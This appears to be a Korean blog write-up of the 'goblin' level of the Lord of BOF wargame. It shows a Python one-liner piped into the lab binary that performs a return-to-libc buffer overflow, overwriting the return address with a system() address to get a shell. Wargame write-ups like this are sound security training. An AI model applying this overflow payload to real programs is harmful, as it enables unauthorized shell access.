먼저 goblin.c 코드를 봅시다
Level2 문제와 buffer 크기는 같지만 문자열을 입력 받는 형식이 argv에서 buffer로 값을 전달하는 strcpy 에서 gets 함수로 바뀌게 되었습니다.
이런 경우에는
(python -c 'print "~~~~"';cat) | ./goblin
식으로 파이프로 연결하여 실행시켜주면 값이 들어가게 됩니다. 공격코드는 Level 2와 동일하지만 파이프 연결식으로 조금 고치면 됩니다.
(python -c 'print "A"*16 + "ABCD" + "\xe0\x8a\x05\x40" + "ABCD"+"\xf9\xbf\x0f\x40"';cat) | ./goblin
[buffer] [sfp] [system] [dummy] [shellcode] [pipe]
클리어
'Pwnable > LOB' 카테고리의 다른 글
[Level5] orc -> wolfman (0) | 2017.05.17 |
---|---|
[Level4] goblin -> orc (0) | 2017.05.17 |
클리어! (0) | 2017.05.17 |
[Level2]gremlin -> cobolt (0) | 2017.05.02 |
[Level1] gate -> gremlin (0) | 2017.05.02 |